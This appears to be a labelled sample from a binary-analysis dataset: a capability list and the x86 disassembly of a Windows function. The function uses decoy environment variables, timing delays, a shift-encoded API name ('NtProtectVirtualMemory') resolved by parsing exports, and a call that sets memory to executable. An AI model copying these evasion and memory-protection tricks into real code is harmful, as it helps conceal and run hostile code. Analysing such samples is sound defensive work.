Function at 0x10001eb0
Capabilities:
Check for time delay via gettickcount
Get system information on windows
Print debug messages
Query environment variable
Resolve function by parsing pe exports
Set environment variable
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x7f8
movq xmm0, qword [str.hpock.png]
lea eax, [ebp - 0x24]
mov dword [ebp - 4], eax
mov ax, word [0x1002bc28]
push esi
push edi
mov dword [ebp - 0x24], 0
movq qword [ebp - 0x18], xmm0
mov word [ebp - 0x10], ax
call fcn.100010c0
push 0x104
lea eax, [ebp - 0x1e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x7f0]
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001f20
push 0
lea eax, [ebp - 0x54]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x7f0]
push eax
push 0xdeadbeef
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x64
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.USER32.dll_SetCursorPos]
xor eax, eax
or ecx, 0xffffffff
cmp byte [ebp - 0x1e8], al
je 0x10001f93
nop
cmp byte [ebp + eax - 0x1e8], 0x5c
cmove ecx, eax
inc eax
cmp byte [ebp + eax - 0x1e8], 0
jne 0x10001f70
cmp ecx, 0xffffffff
je 0x10001f93
mov byte [ebp + ecx - 0x1e8], 0
lea eax, [ebp - 0x80]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x20], eax
call eax
movzx eax, word [0x1002b9ec]
movups xmm0, xmmword [str.TEMP_VAR_0ConfuseFunction]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov word [ebp - 0x98], ax
movzx eax, byte [0x1002b9ee]
mov byte [ebp - 0x96], al
mov eax, dword [0x1002ba00]
mov dword [ebp - 0x40], eax
movzx eax, word [0x1002ba04]
movups xmmword [ebp - 0xb0], xmm0
mov word [ebp - 0x3c], ax
movq xmm0, qword [0x1002b9e4]
mov eax, dword [0x1002ba18]
movq qword [ebp - 0xa0], xmm0
movups xmm0, xmmword [str.TEMP_VAR_1JustForFun]
mov dword [ebp - 0xd0], eax
movzx eax, byte [0x1002ba1c]
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xb0]
movups xmmword [ebp - 0x50], xmm0
push eax
movups xmm0, xmmword [str.TEMP_VAR_2NoRealUse]
push str.TEMP_VAR_0
movups xmmword [ebp - 0xe0], xmm0
call esi
lea eax, [ebp - 0x50]
push eax
push str.TEMP_VAR_1
call esi
lea eax, [ebp - 0xe0]
push eax
push str.TEMP_VAR_2
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x6f0]
push 0x400
push eax
push str.TEMP_VAR_0
call esi
push 0x400
lea eax, [ebp - 0x6f0]
push eax
push str.TEMP_VAR_1
call esi
push 0x400
lea eax, [ebp - 0x6f0]
push eax
push str.TEMP_VAR_2
call esi
test byte [ebp - 0x74], 1
mov ecx, 3
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0xc], esi
jne 0x100020bb
movzx eax, word [ebp - 0x76]
xor edx, edx
div ecx
test edx, edx
jne 0x100020b4
push str.Branch_1
jmp 0x100020cd
push str.Branch_2
jmp 0x100020cd
test byte [ebp - 0x78], 1
jne 0x100020c8
push str.Branch_3
jmp 0x100020cd
push str.Branch_4
call esi
xor eax, eax
mov dword [ebp - 8], eax
test al, 1
jne 0x100020df
push str.Loop_Branch_1
jmp 0x100020e4
push str.Loop_Branch_2
call esi
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, 0xa
jl 0x100020d4
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1e8]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2f1], al
test al, al
jne 0x100020f4
lea edi, [ebp - 0x2f0]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10002110
mov ax, word [0x1002bc2c]
lea edx, [ebp - 0x18]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10002128
lea edi, [ebp - 0x2f0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002138
mov ecx, edx
lea eax, [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x68]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.10001c80
add esp, 4
call fcn.10001050
mov dword [0x10035c18], eax
mov dword [0x10035c1c], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0xa
nop dword [eax + eax]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xaaaaaaab
mul esi
mov ecx, esi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
jne 0x100021b6
push 0x64
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
jmp 0x100021d2
test byte [ebp - 8], 1
jne 0x100021cb
push 0xc8
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x100021d5
push 0x12c
call edi
mov eax, dword [ebp - 8]
sub eax, 0xa
add esi, 0xa
sub dword [ebp - 4], 1
mov dword [ebp - 8], eax
jne 0x10002190
movaps xmm0, xmmword [str.KqMolqb_qSfoqri]
xor cl, cl
mov dword [ebp - 0x40], 0x6c6a624a
mov eax, dword [ebp - 0x40]
mov dword [0x10035bf0], eax
mov word [ebp - 0x3c], 0x766f
mov ax, word [ebp - 0x3c]
mov word [0x10035bf4], ax
mov al, 0x4b
mov byte [0x10035bf6], cl
mov ecx, 0x10035be0
movaps xmmword [0x10035be0], xmm0
movsx eax, al
add eax, 3
and eax, 0x800000ff
jns 0x10002234
dec eax
or eax, 0xffffff00
inc eax
mov byte [ecx], al
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10002220
lea eax, [ebp - 0x1c]
push eax
call dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 4], 0xa
nop dword [eax + eax]
test byte [ebp - 0x10], 1
jne 0x10002273
push 0x32
call edi
lea eax, [ebp - 0x1c]
push eax
call dword [ebp - 0x20]
jmp 0x1000229d
mov eax, 0xaaaaaaab
mov ecx, esi
mul esi
shr edx, 1
lea eax, [edx + edx*2]
sub ecx, eax
jne 0x10002296
push 0x96
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000229d
push 0xfa
call edi
mov cx, word [ebp - 0xe]
xor eax, eax
add cx, ax
add esi, eax
inc eax
cmp eax, 5
jl 0x100022a3
push esi
mov word [ebp - 0xe], cx
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub dword [ebp - 4], 1
jne 0x10002260
mov edx, dword [0x10035c18]
xor edi, edi
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov esi, dword [eax + 0x1c]
mov ecx, dword [eax + 0x14]
add esi, edx
mov dword [ebp - 4], ecx
mov ecx, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov esi, dword [eax + 0x20]
mov eax, dword [eax + 0x24]
add esi, edx
add eax, edx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x60], eax
cmp dword [ebp - 4], edi
jbe 0x1000235a
nop dword [eax]
mov edx, dword [ebp - 8]
mov edx, dword [edx + edi*4]
mov dword [ebp - 0x64], edx
test edx, edx
je 0x10002354
xor esi, esi
test ecx, ecx
je 0x10002354
movzx eax, word [eax + esi*2]
cmp eax, edi
jne 0x1000234c
mov eax, dword [ebp - 0x58]
mov edx, 0x10035be0
mov eax, dword [eax + esi*4]
add eax, dword [0x10035c18]
mov cl, byte [eax]
test cl, cl
je 0x1000233f
cmp cl, byte [edx]
jne 0x1000233f
mov cl, byte [eax + 1]
inc eax
inc edx
test cl, cl
jne 0x10002332
movzx ecx, byte [eax]
movzx eax, byte [edx]
sub ecx, eax
je 0x100023c3
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
inc esi
cmp esi, ecx
jb 0x10002313
inc edi
cmp edi, dword [ebp - 4]
jb 0x10002300
xor eax, eax
mov dword [0x10035c14], eax
mov ecx, 0x10035be0
mov al, byte [0x10035be0]
test al, al
je 0x1000238d
nop
movsx eax, al
add eax, 3
and eax, 0x800000ff
jns 0x10002384
dec eax
or eax, 0xffffff00
inc eax
mov byte [ecx], al
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10002370
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp - 0x98]
mov eax, 0xcccccccd
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, edi
mul edi
shr edx, 2
lea eax, [edx + edx*4]
sub ecx, eax
cmp ecx, 4
ja case.default.0x100023bc
jmp dword [ecx*4 + 0x10002530]
mov eax, dword [0x10035c18]
add eax, dword [ebp - 0x64]
jmp 0x1000235c
movzx eax, word [ebp - 0xb0]
push eax
push str.Processor_Architecture:__d
jmp 0x1000240b
push edi
push str.Processor_Type:__d
jmp 0x1000240b
push dword [ebp - 0x9c]
push str.Number_of_Processors:__d
jmp 0x1000240b
push dword [ebp - 0xac]
push str.Page_Size:__d
jmp 0x1000240b
movzx eax, word [ebp - 0x90]
push eax
push str.Processor_Level:__d
lea eax, [ebp - 0x3f0]
push eax
call esi
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov dl, byte [ebp + ecx - 0x3f0]
test dl, dl
je 0x1000244a
test dl, 1
sete al
lea eax, [eax*2 - 1]
add al, dl
mov byte [ebp + ecx - 0x3f0], al
inc ecx
cmp ecx, 0x100
jl 0x10002420
lea eax, [ebp - 0x3f0]
push eax
call dword [ebp - 0xc]
mov edi, dword [ebp - 0x68]
lea eax, [ebp - 0xb4]
push eax
push 0x40
lea eax, [ebp - 0x24]
mov dword [ebp - 0x6c], edi
push eax
lea eax, [ebp - 0x6c]
push eax
push 0xffffffffffffffff
call dword [0x10035c14]
call fcn.100010c0
lea eax, [ebp - 0x80]
push eax
call dword [ebp - 0x20]
movzx ecx, word [ebp - 0x74]
xor edx, edx
mov eax, ecx
div dword [ebp - 0x70]
sub edx, 0
je 0x100024a2
sub edx, 1
je 0x1000249c
sub edx, 1
jne 0x100024b5
push ecx
jmp 0x100024a7
movzx eax, word [ebp - 0x76]
jmp 0x100024a6
movzx eax, word [ebp - 0x78]
push eax
lea eax, [ebp - 0x18]
push str._02d
push eax
call esi
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
movsx eax, byte [ebp + ecx - 0x18]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x100024cd
jmp dword [eax*4 + 0x10002544]
mov byte [ebp + ecx - 0x18], 0x41
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x42
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x43
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x44
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x45
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x46
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x47
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x48
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x49
jmp case.default.0x100024cd
mov byte [ebp + ecx - 0x18], 0x4a
inc ecx
cmp ecx, 0xa
jl 0x100024c0
lea eax, [ebp - 0x18]
push eax
call dword [ebp - 0xc]
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret